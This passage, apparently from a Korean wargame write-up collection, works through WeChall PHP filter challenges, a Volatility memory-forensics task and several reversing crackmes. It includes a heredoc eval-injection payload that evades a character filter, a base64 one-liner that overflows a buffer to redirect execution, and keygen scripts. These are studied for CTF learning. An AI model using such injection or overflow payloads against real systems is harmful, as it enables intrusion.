foreach ($highlights as $highlight)
{
$stlye = 'color:#CD7F32; background-color:white; padding: 0 8px;';
$text = str_replace($highlight, '<b style="'.$stlye.'">'.$highlight.'</b>', $text);
}
echo '<pre>'.$text.'</pre>';
}
$cwd = getcwd();
chdir('../../');
require_once('challenge/html_foot.php');
chdir($cwd);
?>
solve¶
- 파라미터 조건을 만족할 경우 solution.php 파일을 읽을 수 있습니다.
[wechall] PHP 0818¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-280a5dada5637037226b64ae3d33638dee18b560.png)
Source Analysis¶
<?php
chdir('../../../');
define('GWF_PAGE_TITLE', 'PHP 0818');
require_once('challenge/html_head.php');
if (false === ($chall = WC_Challenge::getByTitle(GWF_PAGE_TITLE))) {
$chall = WC_Challenge::dummyChallenge(GWF_PAGE_TITLE, 3, 'challenge/noother/php0818/index.php', false);
}
$chall->showHeader();
# ------ 8< ------ 8< ------ 8< ------ 8< ------ #
if (isset($_POST['answer']))
{
if (noother_says_correct(Common::getPostString('number')))
{
$chall->onChallengeSolved(GWF_Session::getUserID());
}
else
{
echo GWF_HTML::error('PHP 0818', $chall->lang('err_wrong'), false);
}
}
function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
}
# ------ 8< ------ 8< ------ 8< ------ 8< ------ #
?>
<div class="box box_c">
<form action="php0818.php" method="post" enctype="application/x-www-form-urlencoded">
<div><?php echo $chall->lang('your_magic_number'); ?>: <input type="text" name="number" value="" size="10" /></div>
<div><input type="submit" name="answer" value="<?php echo $chall->lang('btn_submit'); ?>" /></div>
</form>
</div>
<?php
# Foo-Tah!
echo $chall->copyrightFooter();
require_once('challenge/html_foot.php');
?>
solve¶
- 3735929054의 16진수 값
[wechall] PHP 0819¶
![digraph G {
rankdir="LR";
node[shape="point"];
edge[arrowhead="none"]
{
rank="same";
"client"[shape="plaintext"];
"client" -> step0 -> step2 -> step4 -> step6 -> step8;
}
{
rank="same";
"server"[shape="plaintext"];
"server" -> step1 -> step3 -> step5 -> step7 -> step9;
}
step0 -> step1[label="index.php?eval=<<<a%0a1337%0aa;%0a",arrowhead="normal"];
step3 -> step2[label="@solve",arrowhead="normal"];
}](_images/graphviz-f07f3f444e55527f3609820da957c00c1c58ef0e.png)
Source Analysis¶
<?php
// closure, because of namespace!
$challenge = function()
{
$f = Common::getGetString('eval');
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('sorry, not allowed!');
}
try
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
}
return ($spaceone === '1337');
};
?>
solve¶
- spaceone이 1337 문자열일 경우 풀리는 문제인데, eval=1337로 입력할 경우 int값으로 입력되어 에러가 출력됩니다.
- heredoc 구문을 이용하여 해결할 수 있습니다. "<<<"
http://zetawiki.com/wiki/PHP_%ED%9E%88%EC%96%B4%EB%8B%A5_heredoc
<<<a
1337
a;
FORENSIC¶
[suninatas] Brothers¶
[suninatas] Military¶
메모리 덤프 파일 정보 확인¶
$ vol.py imageinfo -f MemoryDump(SuNiNaTaS)
Volatility Foundation Volatility Framework 2.3.1
Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP0x86, Win7SP1x86
AS Layer1 : IA32PagedMemoryPae (Kernel AS)
AS Layer2 : FileAddressSpace (/home/joizel/download/MemoryDump(SuNiNaTaS))
PAE type : PAE
DTB : 0x185000L
KDBG : 0x82f6cc28
Number of Processors : 1
Image Type (Service Pack) : 1
KPCR for CPU 0 : 0x82f6dc00
KUSER_SHARED_DATA : 0xffdf0000
Image date and time : 2016-05-24 09:47:40 UTC+0000
Image local date and time : 2016-05-24 18:47:40 +0900
프로세스 정보 확인¶
위에서 나온 프로파일이 윈도우이므로, pslist로 프로세스 정보에 대해 확인합니다.
$ vol.py pslist --profile=Win7SP0x86 -f MemoryDump\(SuNiNaTaS\)
Volatility Foundation Volatility Framework 2.3.1
Offset(V) Name PID PPID Thds Hnds Sess Wow64 Start Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
[......중략......]
0x8779b9a0 iexplore.exe 3948 1408 27 465 1 0 2016-05-24 09:34:28 UTC+0000
0x8776d638 iexplore.exe 1840 3948 29 710 1 0 2016-05-24 09:34:45 UTC+0000
0x878fb650 iexplore.exe 2432 3948 52 840 1 0 2016-05-24 09:35:30 UTC+0000
0x85d72bc0 cmd.exe 1256 1408 1 22 1 0 2016-05-24 09:41:57 UTC+0000
0x878a6a88 conhost.exe 2920 368 3 87 1 0 2016-05-24 09:41:57 UTC+0000
0x8775b498 notepad.exe 3728 1256 2 89 1 0 2016-05-24 09:45:46 UTC+0000 <-- suspicious process
0x856a4a58 SearchProtocol 4048 832 6 289 1 0 2016-05-24 09:46:47 UTC+0000
0x8569dd40 SearchFilterHo 2696 832 4 80 0 0 2016-05-24 09:46:48 UTC+0000
0x85e28b18 DumpIt.exe 1260 1408 2 37 1 0 2016-05-24 09:47:38 UTC+0000
0x856fa610 conhost.exe 1980 368 3 87 1 0 2016-05-24 09:47:38 UTC+0000
파일 덤프¶
$ vol.py --profile=Win7SP0x86 -f MemoryDump\(SuNiNaTaS\) dumpfiles -Q [mem address] -D [out_dir]
REVERSING¶
[hack-me] M_IX64¶
IDA¶
main¶
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rcx@2
int v4; // eax@3
int v5; // edx@3
sub_1400011F0(*(_QWORD *)&argc, argv, envp);
printf("Enter Password : ");
gets(Buffer);
if ( 4 * (3 * ((unsigned int)strlen(Buffer) + 1) - 3) != 252 ) // (unsigned int)strlen(Buffer) = 21
goto LABEL_11;
sub_140001000(Buffer); // Dest
printf("%s\n", Dest);
ㅇ = a6c6573706c1194;
do
{
v4 = (unsigned __int8)v3[Dest - a6c6573706c1194]; // 6C65-7370-6C119-4083-4593-10744-5194-964E-6A53-4180-7D
v5 = (unsigned __int8)*v3 - v4;
if ( (unsigned __int8)*v3 != v4 )
break;
++v3;
}
while ( v4 );
if ( v5 )
LABEL_11:
printf("Nope, You are worng :)\n");
else
printf("Congratulations! :) Password is %s\n", Buffer); // success
return 0;
}
Dest 값이 위의 a6c6573706c1194에 있는 값과 일치할 경우에 통과되는 것으로 보입니다.
Dest 값이 출력되는 sub_140001000 함수를 확인해봅니다.
sub_140001000¶
int sub_140001000()
{
signed __int64 v0; // r10@1
unsigned int v1; // er8@1
signed __int64 v2; // r9@1
__int64 v3; // rax@2
int v4; // er8@2
char v5; // al@3
v0 = 0i64;
v1 = 0xDEADBEAF;
v2 = 0i64;
do
{
++v2;
v3 = v1 % 0x1A; // 0xD, 0xF
v4 = __ROL4__(v1, 3); // 0x6F56DF578
v1 = v4 + 0xF00D; // 0x6F56EE585
*(_BYTE *)(v2 + 0x140003637i64) = *(_BYTE *)(v3 + 0x140003020i64); // 0x4e
}
while ( v2 < 21 );
do
{
v5 = *(_BYTE *)(v0 + 0x140003690i64); // 0x62
v0 += 3i64;
*(_BYTE *)(v0 + 0x140003635i64) ^= v5 - 0x30; // 0x140003638i64 ^ (v5 - 0x30) = 0x4e ^ 0x22 = 0x6C
*(_BYTE *)(v0 + 0x140003636i64) ^= *(_BYTE *)(v0 + 0x14000368Ei64) - 0x30; // 0x140003639i64 ^ (0x140003691i64 - 0x30) = 0x4f ^ 0x32 = 7A
*(_BYTE *)(v0 + 0x140003637i64) ^= *(_BYTE *)(v0 + 0x14000368Fi64) - 0x30; // 0x140003640i64 ^ (0x140003692i64 - 0x30) =
}
while ( v0 < 21 );
return sprintf(
Dest,
"%lX%lu-%lX%lu-%lX%lu-%lX%lu-%lX%lu-%lu%lX-%lX%lu-%lu%lX-%lX%lX-%lX%lu-%lX",
(unsigned __int8)byte_140003638,
(unsigned __int8)byte_140003639);
}
첫번째 do while 문을 보면 0x140003637i64 에 차례대로 21개의 데이터를 저장하는 것을 볼 수 있습니다.
그리고 두번째 do while 문을 보면 위에서 저장한 데이터를 사용자가 입력한 값 0x140003690i64와 차례대로 계산하는 것을 볼 수 있습니다.
여기서 계산한 결과 값이 Dest값으로 해당 값이 저장된 값과 일치해야 정답이 출력됩니다.
위 코드를 python으로 변환하면 아래와 같습니다.
_input = 'REsdefghijklmnopqrstu'
#%X%u-%X%u-%X%u-%X%u-%X%u- %u%X-%X%u-%u%X-%X%X-%X%u-%X
result = "6C65-7370-6C119-4083-4593-10744-5194-964E-6A53-4180-7D"
def rol_Dword(value, rotation):
tail = value >> (32-rotation)
head = (value - (tail << (32 - rotation))) << rotation
return head + tail
def ror_Dword(value, rotation):
tail = value >> rotation
head = (value - (tail << rotation)) << (32 - rotation)
return head + tail
v1 = 0xDEADBEAF
li = []
for i in range(21):
v3 = v1 % 0x1a
v4 = rol_Dword(v1,3)
v1 = v4 + 0xF00D
li.append(v3+0x41)
#print li
#print ','.join([hex(i) for i in li])
for j in range(7):
li[3*j] ^= int(_input[3*j].encode('hex'),16) - 0x30
li[3*j+1] ^= int(_input[3*j+1].encode('hex'),16) -0x30
li[3*j+2] ^= int(_input[3*j+2].encode('hex'),16) -0x30
#print li
decrypt¶
해당 코드를 디코딩하면 됩니다. 디코딩 함수는 아래와 같습니다.
cal_li = [0x4e,0x54,0x55,0x53,0x4e,0x54,0x55,0x4e,0x50,0x4f,0x42,0x57,0x49,0x4b,0x42,0x57,0x49,0x4b,0x52,0x41,0x59]
resul2 = "6C4173466C774053455d6b44515e604E6A5341507D".decode('hex')
ans = ''
for x in range(21):
n = resul2[x].encode('hex')
n = int(n,16)
#print n
n = (n^cal_li[x]) + 0x30
ans += chr(n)
print ans
[hack-me] easy reversing¶
IDA¶
IDA 디컴파일러(F5)로 디컴파일 하다보면 가끔 스택 문제도 실패하는 경우가 있습니다.
- 'Decompilation failure: xxxxxx: positive sp value has been found"
- 오류가 발생한 주소 앞 (여기서는 0x401018)으로 가서 [Alt + K] 로 Chage SP value 를 실행합니다.
- 이 값을 Current SP value 와 맞춰주면 됩니다.
wmain¶
입력값에 상관없이 같은 결과 값을 출력하는 것으로 보아 저장된 값을 인코딩하여 출력하는 것으로 보입니다.
int wmain()
{
unsigned int v0; // et0@1
int v1; // eax@1
int v2; // eax@1
int v3; // eax@1
int v4; // eax@1
int v5; // eax@1
int v6; // eax@1
int v7; // eax@1
int v8; // eax@1
int v9; // eax@1
int v10; // eax@1
int v11; // eax@1
int v12; // eax@1
int v13; // eax@1
int v14; // eax@1
int v15; // eax@1
int v16; // eax@5
int v18; // [sp+0h] [bp-50h]@1
void *v19; // [sp+20h] [bp-30h]@1
void *v20; // [sp+24h] [bp-2Ch]@1
int v21; // [sp+28h] [bp-28h]@1
char v22; // [sp+2Ch] [bp-24h]@1
int *v23; // [sp+40h] [bp-10h]@1
int v24; // [sp+4Ch] [bp-4h]@1
v23 = &v18;
v24 = 0;
sub_401BC0(&v22);
LOBYTE(v24) = 1;
v21 = 0;
v0 = __readeflags();
v19 = &loc_40139F;
v20 = &loc_4015E5;
__writeeflags(v0);
v21 = sub_401070(&loc_40139F, &loc_4015E5);
sub_4010F0(0);
v1 = sub_4019F0(std::cout, "t---------------------------------------t");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v1, std::endl);
v2 = sub_4019F0(std::cout, "| |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v2, std::endl);
v3 = sub_4019F0(std::cout, "| H a c k m e |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v3, std::endl);
v4 = sub_4019F0(std::cout, "| |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v4, std::endl);
v5 = sub_4019F0(std::cout, "| http://hack-me.org |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v5, std::endl);
v6 = sub_4019F0(std::cout, "| |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v6, std::endl);
v7 = sub_4019F0(std::cout, "| Reverse Engineering |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v7, std::endl);
v8 = sub_4019F0(std::cout, "| |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v8, std::endl);
v9 = sub_4019F0(std::cout, "| Basic traning |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v9, std::endl);
v10 = sub_4019F0(std::cout, "| by Bluebird |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v10, std::endl);
v11 = sub_4019F0(std::cout, "| |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v11, std::endl);
v12 = sub_4019F0(std::cout, "| |");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v12, std::endl);
v13 = sub_4019F0(std::cout, "t---------------------------------------t");
std::basic_ostream<char,std::char_traits<char>>::operator<<(v13, std::endl);
v14 = std::basic_ostream<char,std::char_traits<char>>::operator<<(std::cout, std::endl);
v15 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v14, std::endl);
std::basic_ostream<char,std::char_traits<char>>::operator<<(v15, std::endl);
sub_4019F0(std::cout, "[+] Enter Password : ");
sub_4012B0();
if ( (unsigned __int8)sub_4011B0() || (unsigned __int8)sub_401200() || (unsigned __int8)sub_4016A0() )
TerminateProcess((HANDLE)0xFFFFFFFF, 4u);
byte_44735C = sub_401750();
v16 = unknown_libname_3(&v22);
if ( (unsigned __int8)sub_401810(v16) )
sub_401880(); // success
else
TerminateProcess((HANDLE)0xFFFFFFFF, 1u);
if ( !(unsigned __int8)sub_4010B0(v21, v19, v20) )
TerminateProcess((HANDLE)0xFFFFFFFF, 8u);
LOBYTE(v24) = 0;
sub_402480(&v22);
return 0;
}
패스워드가 출력되는 부분 함수를 확인해봅니다.
sub_401880¶
패스워드 출력 함수 부분을 보면 byte_4465D8에 있는 내용을 출력하는 것을 확인할 수 있습니다.
int sub_401880()
{
int v0; // eax@1
sub_4019F0(std::cout, "Password is : ");
v0 = sub_4019F0(std::cout, byte_4465D8);
return std::basic_ostream<char,std::char_traits<char>>::operator<<(v0, std::endl);
}
byte_4465D8 = '''
E0 F7 EA C7 F1 EB C7 FD F9 EB
F1 EB EC C7 FD F6 FB EA E1 E8
EC F1 F7 F6 C7 F5 FD EC F0 F7
FC F3 E4 F9 D4 E2 F8 D4 EE EA
F8 E2 F8 FF D4 EE E5 E8 F9 F2
FB FF E2 E4 E5 D4 E6 EE FF E3
E4 EF A7 B0 AD 80 B6 AC 80 BA
BE AC B6 AC AB 80 BA B1 BC AD
A6 AF AB B6 B0 B1 80 B2 BA AB
B7 B0 BB B4 A3 BE 93 A5 BF 93
A9 AD BF A5 BF B8 93 A9 A2 AF
BE B5 BC B8 A5 A3 A2 93 A1 A9
B8 A4 A3 A8 00 00 00 00
'''
sub_401750¶
byte_4465D8 값을 계산하는 부분에 대한 sub_401750 함수를 확인해봅니다.
char sub_401750()
{
signed int v0; // ebp@1
char *v1; // eax@2
char result; // al@5
signed int i; // edi@11
char v4; // bl@12
unsigned int v5; // edx@12
v0 = 0;
if ( byte_4465D8[0] )
{
v1 = byte_4465D8;
do
{
++v1;
++v0;
}
while ( *v1 );
}
if ( byte_44743E && byte_4474AD && byte_44751C && byte_44758B && byte_4475FA && byte_447669 )
{
for ( i = 0x5D; i < v0; ++i )
{
v4 = 0;
v5 = 0;
if ( strlen(byte_447360) )
{
do
{
if ( !byte_447360[v5] )
break;
++v4;
++v5;
}
while ( v5 < strlen(byte_447360) );
}
byte_4465D8[i] ^= v4 + byte_447669;
}
result = 1;
}
else
{
result = 0;
}
return result;
}
byte_4465D8[93]부터 있는 값을 v4 + byte_447669와 xor 계산을 통해 출력하고 있습니다.
XOR 키 값(v4 + byte_447669)을 알지 못하기 때문에 Brute Force를 통해 키값을 구했습니다.
byte_4465D8 = '''E0 F7 EA C7 F1 EB C7 FD F9 EB
F1 EB EC C7 FD F6 FB EA E1 E8
EC F1 F7 F6 C7 F5 FD EC F0 F7
FC F3 E4 F9 D4 E2 F8 D4 EE EA
F8 E2 F8 FF D4 EE E5 E8 F9 F2
FB FF E2 E4 E5 D4 E6 EE FF E3
E4 EF A7 B0 AD 80 B6 AC 80 BA
BE AC B6 AC AB 80 BA B1 BC AD
A6 AF AB B6 B0 B1 80 B2 BA AB
B7 B0 BB B4 A3 BE 93 A5 BF 93
A9 AD BF A5 BF B8 93 A9 A2 AF
BE B5 BC B8 A5 A3 A2 93 A1 A9
B8 A4 A3 A8 00 00 00 00'''
for x in range(255):
ans = ''
for l in byte_4465D8.split(' ')[93:]:
a = int(l,16) ^ x
#print l
if 31<a and a<128 and a!=36 and a!=92 and a!=59:
ans += chr(a)
print x
print ans
[reversing] Easy ELF¶
IDA¶
IDA hexray decompiler로 확인해봅니다.
main¶
int __cdecl main()
{
int result; // eax@2
write(1, "Reversing.Kr Easy ELF\n\n", 0x17u);
sub_8048434();
if ( sub_8048451() == 1 )
{
sub_80484F7(); // correct
result = 0;
}
else
{
write(1, "Wrong\n", 6u);
result = 0;
}
return result;
}
sub_804851¶
sub_804851의 리턴 값이 1이면 correct가 되기 때문에 해당 함수 부분을 확인해봅니다.
int sub_8048451()
{
int result; // eax@2
if ( byte_804A021 == 0x31 )
{
byte_804A020 ^= 0x34u;
byte_804A022 ^= 0x32u;
byte_804A023 ^= 0x88u;
if ( byte_804A024 == 0x58 )
{
if ( byte_804A025 )
{
result = 0;
}
else if ( byte_804A022 == 0x7C )
{
if ( byte_804A020 == 0x78 )
result = byte_804A023 == 0xDDu; //
else
result = 0;
}
else
{
result = 0;
}
}
else
{
result = 0;
}
}
else
{
result = 0;
}
return result;
}
calculate¶
위의 코드를 확인해보면 해당 값이 출력되기 위한 입력 값을 구할 수 있습니다.
byte_804A020 = 0x78^0x34 = 0x4c
byte_804A021 = 0x31
byte_804A022 = 0x7C^0x32 = 0x4e
byte_804A023 = 0xDD^0x88 = 0x55
byte_804A024 = 0x58
[reversing] JavaCrackMe¶
JAD¶
jar 압축을 푼 뒤 class 파일에 대해 java decompile을 하면 jad 파일이 나옵니다.
JavaCrackMe¶
import java.io.PrintStream;
public class JavaCrackMe
{
public JavaCrackMe()
{
}
public static final synchronized volatile transient void main(String args[])
{
try
{
System.out.println("Reversing.Kr CrackMe!!");
System.out.println("-----------------------------");
System.out.println("The idea came out of the warsaw's crackme");
System.out.println("-----------------------------\n");
long l = Long.decode(args[0]).longValue();
l *= 26729L;
if(l == 0xeaaeb43e477b8487L)
System.out.println("Correct!");
else
System.out.println("Wrong");
}
catch(Exception exception)
{
System.out.println("Please enter a 64bit signed int");
}
}
}
Integer Overflow¶
어떤 숫자에 26729를 곱한 값이 0xeaaeb43e477b8487과 같으면 Correct가 됩니다.
0xeaaeb43e477b8487을 26729로 나누면 나누어지지 않으므로 Integer Overflow를 이용해야합니다.
[reversing] Ransomware¶
IDA¶
manual unpacking¶
먼저 run.exe를 IDA로 확인해봅니다.
public start
start proc near
var_AC = byte ptr -0ACh
pusha
mov esi, offset dword_ECD000
lea edi, [esi-0ACC000h]
push edi
jmp short loc_ECECFA
.......
push edi
call ebp
pop eax
popa // 브레이킹 포인트
lea eax, [esp+2Ch+var_AC]
loc_ECEE7A: ; CODE XREF: start+19Ej
push 0
cmp esp, eax
jnz short loc_ECEE7A
sub esp, 0FFFFFF80h
jmp near ptr byte_44AC9B
- start 함수 부분에 pusha가 있는 것으로 보아 UPX로 패킹되어 있는 것으로 보이며, popa를 찾아 브레이킹 포인트를 걸어둡니다.
- step over를 진행하여 점프 명령까지 실행되면 UPX 언패킹된 상태의 코드를 확인할 수 있습니다.
- 언패킹된 상태의 코드를 "Take memory snapshot"을 통해 저장합니다.
※ Edit -> Plugins -> Universal PE unpacker 로도 가능
dummy code -> nop¶
언패킹시 output window에 아래와 같은 메시지가 출력되는데 더미 코드상에서 popad, pushad 등으로 스택에 저장했다 빼는 행위가 자주 반복되어 발생됩니다.
또한, .. code-block:: console
4135E0: too many stack points have been declared 4135E0: too many stack points have been declared 4135E0: too many stack points have been declared
아래 더미 코드를 nop로 수정하여 해당 메시지가 발생되지 않도록 합니다.
pusha
popa
nop
push eax
pop eax
push ebx
pop ebx
6061905058535B -> 90909090909090
main¶
IDA hexray decompiler로 확인해봅니다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // kr00_4@1
FILE *v5; // [sp+1Ch] [bp-14h]@10
unsigned __int32 v6; // [sp+20h] [bp-10h]@4
int v7; // [sp+28h] [bp-8h]@1
unsigned int i; // [sp+28h] [bp-8h]@7
unsigned __int32 j; // [sp+28h] [bp-8h]@10
FILE *File; // [sp+2Ch] [bp-4h]@1
*(_BYTE *)(*(_DWORD *)(__readfsdword(24) + 48) + 2) = 68;
CreateThread(0, 0, StartAddress, 0, 0, 0);
printf("나는 나쁜놈이다!\n나는 매우 나쁘기 때문에 너의 파일을 암호화했다!\n너의 파일을 복구하고 싶다면 5천억 달러를 입금하고 받은 키값으로 파일을 복구해라!\n\n");
printf("Key : ");
sub_401000();
scanf("%s", byte_44D370); // 입력값
v3 = strlen(byte_44D370); // 입력값 길이
sub_401000();
v7 = 0;
File = fopen("file", "rb"); // file 읽기
sub_401000();
if ( !File )
{
sub_401000();
printf("\n\n\n파일을 찾을수 없다!\n");
sub_401000();
exit(0);
}
fseek(File, 0, 2);
sub_401000();
v6 = ftell(File); // 바이트 수 계산
sub_401000();
rewind(File); // 파일 읽기/쓰기 위치를 처음 위치로 이동
sub_401000();
while ( !feof(File) )
{
sub_401000();
byte_5415B8[v7] = fgetc(File);
sub_401000();
++v7;
sub_401000();
}
sub_401000();
for ( i = 0; i < v6; ++i )
{
byte_5415B8[i] ^= byte_44D370[i % v3];
sub_401000();
byte_5415B8[i] = ~byte_5415B8[i];
sub_401000();
}
fclose(File);
sub_401000();
v5 = fopen("file", "wb");
sub_401000();
sub_401000();
for ( j = 0; j < v6; ++j )
{
fputc(byte_5415B8[j], v5);
sub_401000();
}
printf("\n파일을 복구했다!\n나는 몹시 나쁘지만 약속은 지키는 사나이다!\n따라서 너가 나에게 돈을 줬고, 올바른 키값을 받았다면 파일은 정상화 되어 있을 것이다!\n하지만 만약 잘못된 키를 넣었다면 나는 아주아주 나쁘기 때문에 너의 파일은 또 망가질 것이다!");
sub_401000();
return getch();
}
암호화된 file을 열어 입력한 키 값을 이용하여 복호화를 진행합니다.
readme.txt 파일 내용을 보면 Decrypt File이 EXE라고 되어 있으니, 복호화될 파일의 헤더 부분이 4d 5a 90 00 으로 이루어질 것이라고 추측할 수 있습니다.
Decrypt File (EXE)
By Pyutic
calculate¶
디코딩 결과 키 값을 확인할 수 있습니다.
# byte_5415B8[i] ^= byte_44D370[i % v3];
# byte_5415B8[i] = ~byte_5415B8[i];
output_file = ['4D', '5A', '90', '00', '03', '00', '00', '00', '04', '00', '00', '00', 'FF', 'FF', '00', '00']
byte_5415b8 = ['DE', 'C0', '1B', '8C', '8C', '93', '9E', '86', '98', '97', '9A', '8C', '73', '6C', '9A', '8B']
key = ''
for l in range(16):
output_file[l] = ord(output_file[l].decode('hex'))
byte_5415b8[l] = ord(byte_5415b8[l].decode('hex'))
byte_5415b8[l] = byte_5415b8[l] ^ 0xFF
key += chr(byte_5415b8[l] ^ output_file[l])
print key
[suninatas] Find it¶
IDA¶
IDA hexray decompiler로 확인해봅니다.
main¶
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax@3
unsigned int v4; // ebx@7
int v5; // [sp+10h] [bp-34h]@10
__int16 v6; // [sp+16h] [bp-2Eh]@1
unsigned int str_len; // [sp+34h] [bp-10h]@10
unsigned int j; // [sp+38h] [bp-Ch]@5
int i; // [sp+3Ch] [bp-8h]@4
memset(&v6, 0, 30u);
if ( argc <= 1 && !strcmp(*argv, "./suninatas") )
{
for ( i = 0; envp[i]; ++i )
{
for ( j = 0; ; ++j )
{
v4 = j;
if ( v4 >= strlen(envp[i]) )
break;
envp[i][j] = 0;
}
}
printf("Authenticate : ");
_isoc99_scanf("%30s", &v6);
memset(&input, 0, 12u);
v5 = 0;
str_len = Base64Decode(&v6, &v5);
if ( str_len <= 12 )
{
memcpy(&input, v5, str_len);
if ( auth(str_len) == 1 ) //
correct(); //
}
result = 0;
}
else
{
result = 0;
}
return result;
}
auth(str_len)¶
_BOOL4 __cdecl auth(int a1)
{
char v2; // [sp+14h] [bp-14h]@1
char *s2; // [sp+1Ch] [bp-Ch]@1
int v4; // [sp+20h] [bp-8h]@1
memcpy(&v4, &input, a1);
s2 = calc_md5(&v2, 12);
printf("hash : %s\n", s2);
return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}
correct()¶
위의 correct 함수를 확인하면 input 값이 0xDEADBEEF이면 성공 메시지를 출력합니다.
void __noreturn correct()
{
if ( input == 0xDEADBEEF )
puts("Congratulation! you are good!");
exit(0);
}
calculate¶
input값이 0xDEADBEEF가 되려면 input값의 주소를 확인해야합니다.
.bss:0811C9EC public input
.bss:0811C9EC input db ? ; ; DATA XREF: correct+6o
.bss:0811C9EC ; auth+Do ...
.bss:0811C9ED db ? ;
.bss:0811C9EE db ? ;
.bss:0811C9EF db ? ;
.bss:0811C9F0 db ? ;
.bss:0811C9F1 db ? ;
.bss:0811C9F2 db ? ;
.bss:0811C9F3 db ? ;
.bss:0811C9F4 db ? ;
.bss:0811C9F5 db ? ;
.bss:0811C9F6 db ? ;
.bss:0811C9F7 db ? ;
.bss:0811C9F8 db ? ;
.bss:0811C9F9 db ? ;
.bss:0811C9FA db ? ;
.bss:0811C9FB db ? ;
correct 함수 시작 주소를 확인해야합니다.
.text:0804925F public correct
.text:0804925F correct proc near ; CODE XREF: main+150p
.text:0804925F
.text:0804925F var_C = dword ptr -0Ch
.text:0804925F
.text:0804925F push ebp
.text:08049260 mov ebp, esp
.text:08049262 sub esp, 28h
.text:08049265 mov [ebp+var_C], offset input
.text:0804926C mov eax, [ebp+var_C]
.text:0804926F mov eax, [eax]
.text:08049271 cmp eax, 0DEADBEEFh
.text:08049276 jnz short loc_8049284
.text:08049278 mov dword ptr [esp], offset aCongratulation ; "Congratulation! you are good!"
.text:0804927F call puts
.text:08049284
.text:08049284 loc_8049284: ; CODE XREF: correct+17j
.text:08049284 mov dword ptr [esp], 0 ; status
.text:0804928B call _exit
.text:0804928B correct endp
$ (python -c "import base64;print base64.encodestring('\xef\xbe\xad\xde'+[correct 시작주소]+[input 주소])"; cat) |./suninatas
[wargame] dll with notepad¶
IDA¶
notepad에 출제자가 제작한 blueh4g13.dll이 로드되는 문제입니다.
문제에서 시스템 시간을 확인하라는 힌트가 주어졌습니다.
로드되는 dll 파일의 소스를 hexray decompiler로 확인해봅니다.
start¶
int __cdecl start(LPVOID lpParameter)
{
wchar_t *v1; // eax@2
WCHAR Filename; // [sp+4h] [bp-204h]@1
if ( GetModuleFileNameW(0, &Filename, 0x200u) )
{
v1 = wcsrchr(&Filename, 0x5Cu);
if ( v1 )
{
if ( !wcsicmp(v1 + 1, L"notepad.exe") )
{
dword_100033A8 = (int)CreateThread(0, 0, (LPTHREAD_START_ROUTINE)StartAddress, lpParameter, 0, 0);
CloseHandle((HANDLE)dword_100033A8);
}
}
}
return 1;
}
time64와 localtime64_s라는 함수가 보입니다.
sub_100010C0¶
unsigned int sub_100010C0()
{
char *v0; // eax@1
unsigned int v1; // esi@1
char v2; // cl@2
int v3; // ebx@4
int v4; // edi@4
int v5; // ecx@5
signed int v6; // ecx@5
unsigned int v7; // esi@8
unsigned int result; // eax@8
int v9; // ebx@9
int v10; // edi@9
int v11; // ecx@10
signed int v12; // ecx@10
__time64_t Time; // [sp+10h] [bp-90h]@1
struct tm Tm; // [sp+18h] [bp-88h]@1
char v15[32]; // [sp+3Ch] [bp-64h]@1
char v16[64]; // [sp+5Ch] [bp-44h]@8
Time = time64(0); // **
localtime64_s(&Tm, &Time); // **
dword_10003388 = 0;
dword_1000338C = 0;
dword_10003390 = 0;
dword_10003394 = 0;
dword_10003398 = 0;
dword_1000339C = 0;
dword_100033A0 = 0;
dword_100033A4 = 0;
memset((void *)&String, 0, 0x40u);
sub_10001320("oh! handsome guy!");
v0 = v15;
v1 = 0;
do
v2 = *v0++;
while ( v2 );
if ( v0 != &v15[1] )
{
v3 = Tm.tm_mon;
v4 = Tm.tm_mday * Tm.tm_mon;
do
{
v5 = v4 + v15[v1];
v6 = 126
* (((signed int)(((unsigned __int64)(0x7DF7DF7Di64 * v5) >> 0x20) - v5) >> 6)
+ ((unsigned int)(((unsigned __int64)(0x7DF7DF7Di64 * v5) >> 0x20) - v5) >> 0x1F))
+ v5;
if ( v6 < 33 )
v6 += v3 + 33;
*((_BYTE *)&dword_10003388 + v1++) = v6;
v4 += v3;
}
while ( v1 < strlen(v15) );
}
sub_10001340("Air fares to NY don't come cheap.");
v7 = 0;
result = strlen(v16);
if ( result )
{
v9 = Tm.tm_mday;
v10 = Tm.tm_mday * Tm.tm_mon;
do
{
v11 = v10 + v16[v7];
v12 = 126
* (((signed int)(((unsigned __int64)(0x7DF7DF7Di64 * v11) >> 0x20) - v11) >> 6)
+ ((unsigned int)(((unsigned __int64)(0x7DF7DF7Di64 * v11) >> 0x20) - v11) >> 0x1F))
+ v11;
if ( v12 < 33 )
v12 += v9 + 33;
